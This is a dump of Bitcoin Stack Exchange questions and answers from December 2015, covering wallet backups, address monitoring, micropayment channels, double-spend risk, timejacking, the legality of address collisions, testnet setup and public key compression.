  <row Id="41635" PostTypeId="2" ParentId="41630" CreationDate="2015-12-04T12:20:30.987" Score="1" Body="&lt;p&gt;You may have the receiving address in one of the rolling backups.&#xA;Also, if your wallet is encrypted then when you create a new receiving address then an export of all the private keys is performed automatically (encrypted with the wallet password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where all the files are stored is described in:&#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_fileDescriptions.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_fileDescriptions.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-12-04T12:20:30.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41636" PostTypeId="2" ParentId="28132" CreationDate="2015-12-04T13:09:37.893" Score="3" Body="&lt;p&gt;In regtest mode, the block reward halves every 150 blocks instead of every 210000 blocks. See the consensus.nSubsidyHalvingInterval settings in chainparams.cpp.&lt;/p&gt;&#xA;" OwnerUserId="30971" LastActivityDate="2015-12-04T13:09:37.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41637" PostTypeId="1" CreationDate="2015-12-04T14:26:27.890" Score="1" ViewCount="920" Body="&lt;p&gt;The main purpose is to have &quot;payment done&quot; confirmation as fast as possible, within  some seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First option is to implement it myself. Now I have the following implementation based on querying Bitoin-qt from .NET API:&#xA;I receive all new transaction IDs using &lt;em&gt;getrawmempool&lt;/em&gt; and then iterate through each of them to get details using &lt;em&gt;getrawtransaction&lt;/em&gt; to find transactions with addresses I want to monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 years ago it used to work well, but now I see it performs slower and slower.&#xA;So, I think bitcoin-qt + .NET API is not the approach which can increase monitor time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use third-party services, like blockchain.info, which can be used in my (commercial) application.&lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="5292" LastEditDate="2015-12-04T16:49:10.457" LastActivityDate="2018-02-16T12:34:31.690" Title="What is the best way to monitor non-wallet addresses for new transactions" Tags="|bitcoin-core|raw-transaction|.net|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41640" PostTypeId="1" AcceptedAnswerId="41641" CreationDate="2015-12-04T17:28:15.660" Score="1" ViewCount="96" Body="&lt;p&gt;Let's say Alice opens a micropayment channel with Bob and sends $10 into the multi sig transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we know that Alice has those $10? Or are we taking the risk of her double spending it?&lt;/p&gt;&#xA;" OwnerUserId="27809" LastActivityDate="2015-12-04T19:10:59.507" Title="How is a transaction verified in a micropayment channel?" Tags="|bitcoinj|micropaymentchannels|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41641" PostTypeId="2" ParentId="41640" CreationDate="2015-12-04T18:10:08.867" Score="1" Body="&lt;p&gt;In the process of opening a micropayment channel, the two parties put funds into a lock-box of sorts that requires both parties to sign off any any withdrawals from that lockbox. In the blockchain, this is essentially putting some funds into a 2-of-2 multisig output, where the 2 keys are Alice and Bob's keys. If only Bob is going to be transferring money to Alice or vice versa (unidirectional), then only one person need put funds into the 2-of-2 lock box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when it comes time for Bob to pay Alice, Bob gives Alice a transaction that spends the contents of the lock box, giving Alice some amount of the lock box funds and using a change output that puts the change back into the lockbox. Since withdrawing from the lock box requires both Alice and Bob to sign off, Alice can confirm when Bob has signed off to give her funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that it has to be this way, requiring both Alice and Bob to transfer funds through the channel, because if it just required the sender of the funds, you run into the exact problem you mentioned: the sender could be trying to double spend those funds and you wouldn't know.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-12-04T19:10:59.507" LastActivityDate="2015-12-04T19:10:59.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41642" PostTypeId="1" AcceptedAnswerId="41643" CreationDate="2015-12-04T20:39:23.923" Score="4" ViewCount="141" Body="&lt;p&gt;Since bitcoins are sent through the internet, what would happen if my Internet Service Provider prevented me from sending bitcoins?  If they can do that, does that mean that I don't really control my bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="30353" LastEditorUserId="5406" LastEditDate="2017-06-17T23:04:50.873" LastActivityDate="2017-06-17T23:04:50.873" Title="What if my Internet Service Provider decides not to let me send bitcoins?" Tags="|network|ownership|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41643" PostTypeId="2" ParentId="41642" CreationDate="2015-12-04T20:51:08.973" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Since bitcoins are sent through the internet, what would happen if my Internet Service Provider prevented me from sending bitcoins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There really is no practical technical way to do this, but they could just have a rule.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If they can do that, does that mean that I don't really control my bitcoins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, since you choose your ISP.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-12-04T20:51:08.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41644" PostTypeId="1" CreationDate="2015-12-04T20:58:29.817" Score="1" ViewCount="1141" Body="&lt;p&gt;I am trying to determine how many confirmations would be reasonably safe to wait before accepting a Bitcoin transaction from an attacker that is not a miner and hence cannot rely on Finney attacks, but that could try to freely double spend based on his observation of the state of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that at 0-confirmation, attempting a double spend may well work if for example the transaction fee of the second transaction is higher, and the first transaction has not been widely disseminated yet (so nodes would not reject it as a double spend). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 1-confirmation, any double-spend would automatically be rejected by all nodes accepting the first confirmed block. However, should &lt;em&gt;(i)&lt;/em&gt; the blockchain be &quot;reorganized&quot; with a minor fork taking over, as I understand happens regularly (are there statistics on this?), and &lt;em&gt;(ii)&lt;/em&gt; the initial transaction not be included in the fork, the attacker could immediately retry double-spending in the hope it gets included in the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be worried of such blockchain reorganizations when accepting n-confirmation transactions? Am I right to say that any successful 6-block fork would open the risk of free riding the double spending of ALL transactions not included in the fork, not just those targeted by the rogue miner? Or would most nodes (including the rogue miner) most likely reject the free-riding double spend attempts anyway (even if its transaction fees are set way higher), as the first transaction would by that time be fully disseminated? &lt;/p&gt;&#xA;" OwnerUserId="3947" LastActivityDate="2015-12-07T16:43:23.170" Title="What is the risk of waiting for just one confirmation to validate a transaction, assuming the counterparty is not a miner?" Tags="|doublespend|attack|zero-confirmation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41646" PostTypeId="1" AcceptedAnswerId="41649" CreationDate="2015-12-05T00:35:19.230" Score="2" ViewCount="517" Body="&lt;p&gt;A while ago I put all my addresses with private keys (although they did not have that much money in them) onto a google keep note. I put it on a password protected notepad on my phone now, but could anyone have stolen them from my google keep note?&lt;/p&gt;&#xA;" OwnerUserId="30384" LastEditorUserId="5464" LastEditDate="2015-12-05T03:46:11.627" LastActivityDate="2015-12-05T03:46:11.627" Title="Can google steal my Bitcoins if I store the private key in Google Keep note" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41647" PostTypeId="2" ParentId="41646" CreationDate="2015-12-05T01:11:33.253" Score="0" Body="&lt;p&gt;It is possible that someone at Google may use that information to steal your bitcoins, but it is &lt;em&gt;extremely&lt;/em&gt; unlikely.&lt;/p&gt;&#xA;" OwnerUserId="30353" LastActivityDate="2015-12-05T01:11:33.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41648" PostTypeId="1" CreationDate="2015-12-05T01:27:22.923" Score="5" ViewCount="2473" Body="&lt;p&gt;Let's say that somehow I generate a new address which happens to already be &quot;taken&quot;. I realize the chances of address collision are extraordinarily low as per &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22/is-it-possible-to-brute-force-bitcoin-address-creation-in-order-to-steal-money&quot;&gt;Is it possible to brute force bitcoin address creation in order to steal money?&lt;/a&gt;, but let's just say that it happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For argument's sake, let's say I land on &lt;a href=&quot;https://blockchain.info/address/1FeexV6bAHb8ybZjqQMjJrcCrHGW9sb6uF&quot; rel=&quot;nofollow noreferrer&quot;&gt;1FeexV6bAHb8ybZjqQMjJrcCrHGW9sb6uF&lt;/a&gt; (currently carrying a balance of about 80,000 BTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to then sign a transfer to another address, would I be doing anything wrong or illegal? I think it'd be immoral, but does it constitute any legal wrongdoing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this is quite like finding an ATM card and guessing the PIN, but more like walking into a Swiss bank, guessing a random account number and PIN, and walking out with whatever is in the safety deposit box, right? Is that &quot;stealing&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="30591" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2019-03-01T20:16:25.503" Title="If I were to generate an address and it happens to collide, legally speaking, would a transfer constitute theft?" Tags="|address|legal|address-generation|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41649" PostTypeId="2" ParentId="41646" CreationDate="2015-12-05T01:30:22.213" Score="4" Body="&lt;p&gt;It'd be a huge violation of user trust if a Google employee looked at customer data and did something like that, so I'd say extremely unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you shouldn't ever put your private keys on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, if this did happen and it involved any substantial amount of money, Google would be able to determine which employee accessed your data, which you could then very likely use in civil court to recover your stolen BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I work at Google.&lt;/p&gt;&#xA;" OwnerUserId="30591" LastActivityDate="2015-12-05T01:30:22.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41650" PostTypeId="1" AcceptedAnswerId="41652" CreationDate="2015-12-05T02:21:15.283" Score="1" ViewCount="22" Body="&lt;p&gt;I am not talking about getting notified on my desktop, but I am talking about my phone.&lt;/p&gt;&#xA;" OwnerUserId="30384" LastActivityDate="2015-12-05T03:48:10.390" Title="Is there anyway I can be notified on my phone when I receive bitcoin?" Tags="|alert-system|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41651" PostTypeId="2" ParentId="3516" CreationDate="2015-12-05T03:46:40.350" Score="7" Body="&lt;p&gt;For those of you who are wondering what TimeJacking is, please consider the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for computers and machines, separated by vast distances, to work in tandem, they usually have to be synchronized. If the time and date aren't isn't synchronized, this can lead to issues relating to security, usability, and overall response time. According to NTP.org:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ntp.org/ntpfaq/NTP-s-def.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ntp.org/ntpfaq/NTP-s-def.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If you have communicating programs running on different computers, time still should even advance if you switch from one computer to another. Obviously if one system is ahead of the others, the others are behind that particular one. From the perspective of an external observer, switching between these systems would cause time to jump forward and back, a non-desirable effect. As a consequence, isolated networks may run their own wrong time, but as soon as you connect to the Internet, effects will be visible .... Even on a single computer some applications have trouble when the time jumps backwards. For example, database systems using transactions and crash recovery like to know the time of the last good state.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also applies to online security certificates (in browser). If the time and date is wrong, strange things may happen (invalid certificate error).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this appears to apply only to the Network Time Protocol, I assure you otherwise - networked systems need to stay synced in order to function. BlockChain and other cryptocurrency handlers have this exact issue because they are handling electronic transactions over vast distances, across time-zones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh wait - in case you don't know what a bitcoin node is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/bitcoin-nodes-need/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.coindesk.com/bitcoin-nodes-need/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we know how the system crack can occur, let's delve into the process (good source, BTW - ThePiachu):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://culubas.blogspot.ch/2011/05/timejacking-bitcoin_802.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;(Presented by culubas: Timejacking and BitCoin - Blogspot)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Each node internally maintains a counter that represents the network time. This is based on the median time of a node's peers which is sent in the version message when peers connect. The network time counter reverts to the system time however if the median time differs by more than 70 minutes from the system time. A very reasonable way to estimate the median network time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An attacker could potentially slow down or speed up a node's network time counter by connecting as multiple peers and reporting inaccurate time-stamps. (A relatively small number of Tor clients could send enough messages to take over the node's median time.)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As usual, time is used for security and validation on these monetary hardware servers and nodes. If the time is off, bad things can happen. For more info on how an actual cracking attempt could occur, read the section labeled &quot;Creating a 'Poison Pill' Block&quot; of culubas blogpost cited above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;In short, an attempted hack would create a perceived time gap between the mining machines and node targeted, by lagging part of the system until one of three things occur: either an unaffected node or the target itself creates a block, clocks are reset, or operators intervene. As such, valid blocks could be dropped, and money could be lost or stolen. Please read the original article for more info.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as for the question at hand, I wasn't able to find any confirmed instances of TimeJacking so far. That could be due to a variety of reasons, but I personally think that no one has chosen to target the cryptocurrency yet. In that case, I can't wait to see what a new API update would look like - especially with some new security patches for P2p time-keeping and network certificates. Sadly, it could be just a matter of time.&lt;/p&gt;&#xA;" OwnerDisplayName="user4037" LastEditorUserId="29893" LastEditDate="2017-02-28T21:53:10.247" LastActivityDate="2017-02-28T21:53:10.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41652" PostTypeId="2" ParentId="41650" CreationDate="2015-12-05T03:48:10.390" Score="0" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many wallet applications support mobile notifications, either through native notifications, SMS or email. CoinBase etc. populars should do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore if you know Bitcoin addresses some third party services like block.io can be used to send notifications when a certain address receives a transaction.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-12-05T03:48:10.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41653" PostTypeId="2" ParentId="25153" CreationDate="2015-12-05T03:49:49.613" Score="2" Body="&lt;p&gt;See &lt;a href=&quot;https://github.com/miohtama/bitcoin-prices&quot; rel=&quot;nofollow&quot;&gt;bitcoin-prices.js&lt;/a&gt; library for JavaScript (front end, no server-side components needed) that uses free &lt;a href=&quot;https://bitcoinaverage.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoinaverage.com API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-12-05T03:49:49.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41655" PostTypeId="2" ParentId="41637" CreationDate="2015-12-05T03:54:16.407" Score="0" Body="&lt;p&gt;I use &lt;a href=&quot;https://block.io&quot; rel=&quot;nofollow&quot;&gt;block.io API&lt;/a&gt; to detect zero confirmation incoming transactions on &lt;a href=&quot;https://libertymusicstore.net&quot; rel=&quot;nofollow&quot;&gt;Liberty  Music Store&lt;/a&gt;. block.io can monitor transactions for your own wallet or you can subscribe to arbitrary bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trade off is between easy and fast confirmations - block.io has robust webhooks, distributed bitcoin nodes and easy API allowing detecting transactions faster than running a single node yourself. A single node is safer in the point of view you cannot trust third parties with your transactions. Furthermore running a full node is resource intensive as blockchain data is several gigabytes and mempool too.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-12-05T03:54:16.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41656" PostTypeId="2" ParentId="41642" CreationDate="2015-12-05T03:56:09.330" Score="2" Body="&lt;p&gt;You can write Bitcoin transaction data on USB stick using your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you go to a Internet provider or country where they do not block connecting to Bitcoin nodes.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-12-05T03:56:09.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41657" PostTypeId="2" ParentId="41648" CreationDate="2015-12-05T11:53:19.830" Score="6" Body="&lt;p&gt;IANAL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you describe is the act of taking something that isn't yours in full knowledge that somebody else invested effort and money to accumulate it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as with your Swiss bank example: The rightful owner would be losing the funds that you misappropriated. Taking someone's property without their consent is theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel that this is independent of the way by which you gained access to the property, but rather derived from the intent of your action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps more ambiguous would be scenarios where somebody receives a transaction to a key that you also control, or when you stumble on a key that has a Bitcoin balance that hasn't been moved for decades and could reasonably assumed to have been lost by the rightful owner.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-12-05T15:06:05.190" LastActivityDate="2015-12-05T15:06:05.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41658" PostTypeId="1" AcceptedAnswerId="41679" CreationDate="2015-12-05T16:11:42.930" Score="0" ViewCount="295" Body="&lt;p&gt;I installed bitcoind and bitcoin-cli, set the configuration file so that I am using test-net and requested funds from &lt;a href=&quot;https://tpfaucet.appspot.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;TP's TestNet Faucet&lt;/a&gt;. The funds never appeared in my account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought at first that it was a matter of syncing the blockchain.  I waited several days, and my block count remains at least 400 blocks behind the most current block displayed on &lt;a href=&quot;http://tbtc.blockr.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blockchain (testnet) viewer&lt;/a&gt;.  The network traffic displayed in my system monitor makes it clear that no new blocks are being downloaded to bridge the 400 block gap that exists between my block height and the block height displayed on the public testnet blockchain; blocks are being downloaded once every 10 minutes allowing my system to at least keep pace with the network with a constant gap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took several more days for me to get to a block height that includes the faucet transaction described in the first paragraph, but even after my block height exceeded the needed &lt;a href=&quot;http://tbtc.blockr.io/address/info/n2k8hWiu2PGieUe7DXtJaVMmGyTtupfFqc&quot; rel=&quot;nofollow noreferrer&quot;&gt;block number in which the transaction occured&lt;/a&gt;, my account balances remained at zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I display a screen shot below that includes the confirmed transaction as viewed on the publicly visible blockchain (testnet), and the terminal window that shows the results of my &quot;getinfo&quot;, &quot;getaccountaddress&quot;, and &quot;getblockcount&quot; commands.  There are 12 peers, which are a mixture of inbound and outbound connections, none-of-which were manually entered, all of which were automatically discovered through P2P discovery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking there was something wrong with the faucet, I installed the Mycelium Testnet Wallet on my phone and made a faucet withdrawal to that new account.  That faucet transaction appeared in my phone immediately with 0 confirmations and has since been fully confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given all the above, I am thinking that my &quot;failed&quot; testnet connection with 12 peers is somehow on a separate testnet that uses a different blockchain than the one that is used by the faucet.  It is my understanding of BitcoinXT that it should be fully compatible with the Bitcoin testnet in the same way that BitcoinXT is designed to be fully compatible with the real Bitcoin network, unless in test-net that condition has been met which causes the networks to diverge and separate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, is there a separate BitcoinXT faucet that can be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, have I set up my system incorrectly, perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graphic of the browser window below shows the successful and confirmed faucet transaction visible in block number 68146. It also shows that the block is in the testnet. The terminal window inside that graphic shows that my server is running on testnet and that my blockchain includes the block numbered 68146, which should have included the transaction depicted, but does not.  As confirmation that the account is right, I display the account address in the terminal, and it is the same address that displays as the recipient of the testnet transaction appearing in the browser window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R4Pud.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R4Pud.png&quot; alt=&quot;Bitcoin Transaction displayed on Ubuntu 15.04 system&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15481" LastActivityDate="2015-12-06T22:28:13.083" Title="What am I doing wrong with my BitcoinXT test net setup?" Tags="|transactions|bitcoind|testnet|bitcoin-xt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41659" PostTypeId="2" ParentId="41648" CreationDate="2015-12-05T17:51:57.650" Score="-1" Body="&lt;p&gt;I &lt;strong&gt;don't think so&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Theft :  the act of stealing; specifically :  the felonious taking and &gt;removing of personal property with intent to deprive the rightful owner of it &#xA;  (from &lt;a href=&quot;http://www.merriam-webster.com/dictionary/theft&quot; rel=&quot;nofollow&quot;&gt;http://www.merriam-webster.com/dictionary/theft&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Stealing implies taking something that &lt;strong&gt;doesn't belong to you&lt;/strong&gt;, but how do you define ownership of Bitcoins ? You own Bitcoins by owning the private keys, and only so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you ever find the private key of this address (good luck, BTW), &lt;strong&gt;you'll become an &quot;owner&quot; of this address&lt;/strong&gt;, and of the Bitcoins &quot;attached&quot; to it, so transfer wouldn't constitute a theft.&lt;/p&gt;&#xA;" OwnerUserId="30996" LastActivityDate="2015-12-05T17:51:57.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41661" PostTypeId="1" CreationDate="2015-12-05T20:21:20.167" Score="2" ViewCount="749" Body="&lt;p&gt;Been racking the brain forever, ubuntu noob, but wiped W7 for Ubuntu, updated and upgraded, checked out bfgminer &lt;em&gt;and&lt;/em&gt; cgminer, both when running good .bat file with good pool, but they say no device?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding zus:all or just all or just auto wont add the X3 Thunder I attached via USB to the laptop? I have had issues another laptop like this and had to use a special driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or directions are greatly appreciated. Also I'm not against either cgminer or bfgminer, but id like to get one working on this ubuntu laptop at this point, I have a device that should be hashing and i cannot get working.&lt;/p&gt;&#xA;" OwnerUserId="30998" LastEditorUserId="120" LastEditDate="2015-12-07T11:54:46.590" LastActivityDate="2024-04-06T18:06:45.927" Title="ubuntu usb drivers to run bfgminer" Tags="|cgminer|ubuntu|bfgminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41662" PostTypeId="1" AcceptedAnswerId="41664" CreationDate="2015-12-05T21:26:26.047" Score="4" ViewCount="1994" Body="&lt;p&gt;This is a paragraph from Andreas' book on compressed/uncompressed public keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Chapter 4 - Section - Key Formats&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whereas uncompressed public keys have a prefix of 04 ,compressed&#xA;  public keys start with either a 02 or a 03 prefix. Let’s look at why&#xA;  there are two possible prefixes: because the left side of the equation&#xA;  is y^2 , that means the solution for y is a square root, which can&#xA;  have a positive or negative value. Visually, this means that the&#xA;  resulting y coordinate can be above the x-axis or below the x-axis. As&#xA;  you can see from the graph of the elliptic curve in Figure 4-2, the&#xA;  curve is symmetric, meaning it is reflected like a mirror by the&#xA;  x-axis. So, while we can omit the y coordinate we have to store the&#xA;  sign of y (positive or negative), or in other words, we have to&#xA;  remember if it was above or below the x-axis because each of those&#xA;  options represents a different point and a different public key. &lt;strong&gt;When&#xA;  calculating the elliptic curve in binary arithmetic on the finite&#xA;  field of prime order p, the y coordinate is either even or odd, which&#xA;  corresponds to the positive/negative sign as explained earlier.&lt;/strong&gt;&#xA;  Therefore, to distinguish between the two possible values of y, we&#xA;  store a compressed public key with the prefix 02 if the y is even, and&#xA;  03 if it is odd, allowing the software to correctly deduce the y&#xA;  coordinate from the x coordinate and uncompress the public key to the&#xA;  full coordinates of the point. Public key compression is illustrated&#xA;  in Figure 4-7&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What I don't get is that bold text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why an even or odd y coordinate corresponds to the positive / negative sign?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, are all even public keys below the x-axis?&lt;/p&gt;&#xA;" OwnerUserId="30719" LastEditorUserId="30719" LastEditDate="2015-12-05T22:18:54.987" LastActivityDate="2015-12-06T15:05:10.693" Title="On public keys compression, why an even or odd y coordinate corresponds to the positive / negative sign respectively?" Tags="|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41663" PostTypeId="2" ParentId="41662" CreationDate="2015-12-05T23:19:07.033" Score="3" Body="&lt;p&gt;Elliptic curves are of the form y^2 = f(x).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means there are two roots to the equation. i.e. if we know an x there are two possible y values that satisfy the equation (y &amp;amp; -y). Because we are using a modulo type number field, it happens that the even and odd translate to y and -y&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Quadratic_residue#Prime_or_prime_power_modulus&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Quadratic_residue#Prime_or_prime_power_modulus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This confused me too, until I figured out modulo type fields are not as normal as we expect.&lt;/p&gt;&#xA;" OwnerUserId="30084" LastActivityDate="2015-12-05T23:19:07.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41664" PostTypeId="2" ParentId="41662" CreationDate="2015-12-06T03:01:53.407" Score="14" Body="&lt;p&gt;There is no such thing as a negative or a positive value when you're talking in a finite field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in &lt;code&gt;Z7&lt;/code&gt;, the field of integers modulo &lt;code&gt;7&lt;/code&gt;. There holds:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0&lt;/code&gt; = &lt;code&gt;7&lt;/code&gt; = &lt;code&gt;14&lt;/code&gt; = &lt;code&gt;-7&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1&lt;/code&gt; = &lt;code&gt;8&lt;/code&gt; = &lt;code&gt;15&lt;/code&gt; = &lt;code&gt;-6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;2&lt;/code&gt; = &lt;code&gt;9&lt;/code&gt; = &lt;code&gt;16&lt;/code&gt; = &lt;code&gt;-5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you can't say that the number &lt;code&gt;2&lt;/code&gt; is positive, because it's equal to &lt;code&gt;-5&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite that, the square root still has two solutions. For example, &lt;code&gt;3^2&lt;/code&gt; = &lt;code&gt;9&lt;/code&gt; = &lt;code&gt;2&lt;/code&gt;, &lt;code&gt;4^2&lt;/code&gt; = &lt;code&gt;16&lt;/code&gt; = &lt;code&gt;2&lt;/code&gt;. Thus both &lt;code&gt;3&lt;/code&gt; and &lt;code&gt;4&lt;/code&gt; are square roots of &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we need a way to say which solution we want. Turns out, that when reduced to a range of 0-6, the two solutions of the square, one is odd and the other is even.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-12-06T15:05:10.693" LastActivityDate="2015-12-06T15:05:10.693" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
